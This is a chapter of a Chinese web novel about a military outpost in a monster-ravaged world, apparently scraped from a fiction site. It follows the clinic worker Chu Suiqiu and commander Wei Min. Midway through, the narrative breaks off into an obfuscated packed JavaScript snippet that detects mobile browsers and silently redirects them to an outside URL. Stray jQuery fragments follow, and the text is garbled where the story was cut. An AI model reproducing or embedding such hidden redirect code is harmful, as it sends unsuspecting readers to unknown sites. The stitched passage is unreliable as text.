一夜雷声阵阵,暴雨之后,天色阴沉。
后勤部的孟照渊奉命协助诊所举行完小型葬礼后,悄摸来到工兵们的宿舍。
彼时楚岁秋已经回诊所拿上了药箱,准备给卫敏进行今天的药物治疗。
只见一条只能同时容纳两人的小路上,孟照渊双手抄胸堵在这里,身后站着两个与自己年纪相仿的小工兵,气焰有些稚嫩的嚣张:“喂!听葬礼上的人说,你是四年前从首城过来的?”
楚岁秋迎上去,对于这个十八岁的小长官深感无奈,她深深地叹了口气。
她语气淡淡:“是。小孟长官还对之前在诊所打工的护士经历怀恨在心呢?”
身后两名小兵“噗嗤”一声就笑了出来,孟照渊慌乱地余光瞄一瞄后方,脸上明显挂不住,又将手插在腰上以显得气势更威猛些,张嘴却是单薄清爽的薄荷音:
“你少在这旧事重提!那是我积极参与不不营建设工作的勋章!要不是看你朋友刚死......哼我才懒得搭理你呢!”
孟照渊有些别扭地红了脸,小脸看上去像鹅蛋一样圆润,他选择傲娇地不看这女人,却又忍不住打量起她眼睛周围的红圈。
——他刚才看见她在葬礼上哭了。她在最不引人注意的角落里,啜泣地很小声,听着却莫名比那些嚎啕大哭的乡里乡亲更让人心疼。
十八岁的孟照渊很早就在部队里长大了,周围像薛铭这种的哥哥长辈们虽然把他保护得很好,但没怎么跟女孩子接触过的小孟长官,第一次见到楚岁秋这种恶毒女人的哭泣,竟然给了他深深的震撼。
他有些不知所措地抿了抿唇,轻咳一声,稍微比刚才柔和了点地说道:“我是想说,你家里人呢?”
见楚岁秋一愣,他又急忙摆了摆手,急于撇清道:“呃我不是故意想往你胸口上扎针的啊,我的意思是,除了现在,咳骨灰盒里那位,你就没有别的首城亲戚或朋友了吗?”
孟照渊的脸此刻彻底涨得通红,他觉得自己的表现就像是在故意挑衅别人一般,很可恶、很恶劣。
谁知楚岁秋只是自嘲地扬起唇角,仿佛没有在意到他刚才的失态似的,缓缓说道:“没有了。我本来就是孤儿。”
“哦哦,抱歉。”孟照渊抓了抓脑袋,不知为何,他又想起了刚才她在人群角落里默默啜泣的样子,心头一哽,又突然意识到自己还带兵堵在人家的路上,更觉地没由来的愧疚。
“哎呀,”他扭捏着:“其实我也没有父母啦,我妈生完我就去世了,我老爹因公殉职了,实在没人管我咯,所以他们才让我来这里混着后勤部,其实我也没什么实权......”
喏,你看我们同样可怜,不要难过啦。
孟照渊自顾自摆出一副宽慰人心的样子,像薛铭大哥平时那样劝他一样道:“生活还要继续呀,你能走到现在已经很不容易啦!”
楚岁秋被他这臭屁的样子逗笑,一束阳光正好照在她脸上。
孟照渊看着那双弯弯的笑眼愣了愣,又回过神来,扬起下巴高昂道:“好吧,我宣布你也没那么讨厌,让我在诊所打黑工......咳咳,体验建设工作的事情就一笔勾销啦。”
说着,他赶紧朝后挥了挥手,示意他们给人让路。
那两个同样年轻的小工兵,一个大饼脸一个小细腮,怀里都揣着长枪,踟蹰着分不清状况,不知这手势是要他们撤还是攻。
他们互望一眼,片刻,年龄稍大的那个大饼脸工兵有些懵懵道:“老大,是要我们上吗?她会武功诶,我们只是后勤兵,会被打趴下的吧?”
——小孟长官把他们俩带出来,只说是撑撑场子,没说要动真枪啊,他还等着过会儿去打饭吃呢。
“而且这个大姐姐的身手好厉害,我在联欢会现场看到了。”小细腮工兵弱弱地小声附和道。
——出门得急,他枪里压根没装子弹,真打起来,他只能躺在地上装死了。
孟照渊颤抖着嘴唇,急火攻心快要吐血,指着这两个眼神清澈的小兵恨铁不成钢道:“我让你们让路。”
小兵们这下听明白了,一下就把路给让开,嘴上还嘟囔着:“早说嘛,早说就早让了,也不至于让人家大姐姐在这里等老半天。”
孟照渊重重地闭上了眼,他实在不愿意面对这一切,承认自己又在楚岁秋面前出丑一次。
楚岁秋笑着从他身侧走过,还不忘贴着他耳朵打趣道:“看出来了——没什么实权。”
而后快步离开,留下孟照渊一人在原地对天怒吼,树林里的鸟都被惊得齐齐腾飞向天空。
楚岁秋拎着药箱来到指挥所,不同方位的入侵识别器都自动通过了她的进入权限。
所里没人。
楚岁秋抬脚向后门走去,那里是卫敏的卧室。
她走路的步子一向很轻,等来到门前时,她正准备抬手去按门铃,屋内卫敏的声音响起。
“首城就算想开启剿灭行动,那也得等到时空通道开启后!”
一门之隔,卫敏的语气前所未有的强硬,似乎和通讯器那头的人起了激烈争执。
听到“时空通道”,楚岁秋动作一滞。
据说时空通道只有怪物们知道在哪里,如果能找到时空通道,就极有可能可以回到过去,阻止前人对地表资源的疯狂开采,地面就不会开裂出深渊,怪物们就不会涌上地表,就不会有那么多百姓和士兵流血流汗。
这才是真正意义上的解救全人类。
此时的楚岁秋突然听到时空通道的消息,同样难掩激动。
她来了西南多久,就找了时空通道多久。
如果她能进入时空通道,就能回到沈青叶自杀前夜,阻止他并告诉他,自己愿意和他一起面对,又或者直接回到更早些的时候,她可以帮他铲除掉一切障碍,哪怕是牺牲掉自己。
沈青叶这样美好的人,本就不该死。
时空通道的传说缥缈不定,可楚岁秋必须抓住一切机会。
卫敏的声音还在不断传来:
“根据我在前线的判断,怪物爬到地表来是有目的的,可能是毁灭地球,可能是保护地球,我们谁也不知道。在没有弄清楚他们的目标前,你们不能就这么轻易地开启清剿,哪怕有科研所在背后替你们撑腰。”
沉寂了许久,似乎通讯器那头说了一长串话企图动摇他。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547690|204222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
许久,就听见卫敏一声轻笑:“不用了,我是总指挥,有权驳回你们的一切决定。”
切断通讯后,卫敏头疼地按了按太阳穴,而后在一片寂静中,突然察觉到门外的细微动静,他的眼神骤然一凌。
他死死按住腰间的匕首,轻步往房门走去,再屏息侧耳贴在门上,没有武装声响。
他猝不及防地打开门。
门外空无一人。
这时,通讯器又传来消息,卫敏边扫视周围边伸手接通。
“总指挥,今早爆发的前线小规模战役已经胜利了,缴获的凝结体和怪物活体,也已经跟着从总部剩下的物资转移过来了。”
“好。”卫敏切断通讯,朝空荡荡的屋外望去。
不久,他嘴角的弧度扬了扬。空气里残留的消毒水味还淡淡的。
下午,卫敏新换上军官的深灰及膝大衣,脚踩一双漆黑的意式皮革作战靴,迈着修长的双腿大步出门了。
薛铭恭候在指挥所门口,还穿着旧式制服,一见卫敏出门这派头,“嚯”了一声,他围着卫敏转圈上下打量一番,不由得感叹道:“我们这波军官都在吐槽这次的衣裳还没有战士们新发的作战服好看,怎么穿你身上就跟套时装周模特身上了一样?”
他一边“啧啧啧”,一边绕到卫敏正面,抬眼看见他那张人神共愤的脸,单手摸了摸自己的下巴,像是陷入了什么美好幻想:“我要是有你这张脸,就找首城曹雪那群顶尖媒体记者营销,直接出道好伐?”
卫敏看起来心情还挺好的,居然回应道:“是不是就盯着我这个总指挥的位子,等我走文艺路线后,你就就顺理成章成为薛大指挥官了?”
“哎哟,”薛铭诚然有些心动,但还是摆摆手说道:“算了,副官跟总指挥的工作还真不是一个量级,要是让我干你的活儿,我得分成五个薛铭才能干得过。”
卫敏哑然一笑,没有说话。
“不过......”薛铭歪歪头,天马行空道:“问问科研所,如果能有克隆之类的方法能保留下来你的基因,人类未来的蓬勃发展不就有着落了?又能打,又聪明,有责任感还帅,那生育也不成问题了——”他的话音突然停顿下来。
在畅想未来的大道上,薛铭突然冷汗一冒。
——他冷不防想到了那些流言蜚语。
“听说以前卫敏指挥官在科研所,每天都要在培养液里接受基因实验,他爸妈疯魔了样想养出个天才。”
“切,要是换我去接受培养液的基因改造,我也能成指挥官呢,他不就仗着自己爹妈的身份近水楼台吗?”
“关我什么事,只要他能守住前线,我就顾我的小老百姓生活就好了。”
“......”
薛铭本意是想拍上级领导的马屁,这下好了。
空气突然很沉默,他佝偻着身子,小心翼翼看向自家领导的脸色。
卫敏面容平和,没有一丝勃然大怒的前兆和责怪他的意思,只是望向远处压在山巅之上阴沉沉的乌云,有些失神地喃喃道:
“薛铭,人类的出路不在于毁灭自己。人体实验是可耻的,你记住。”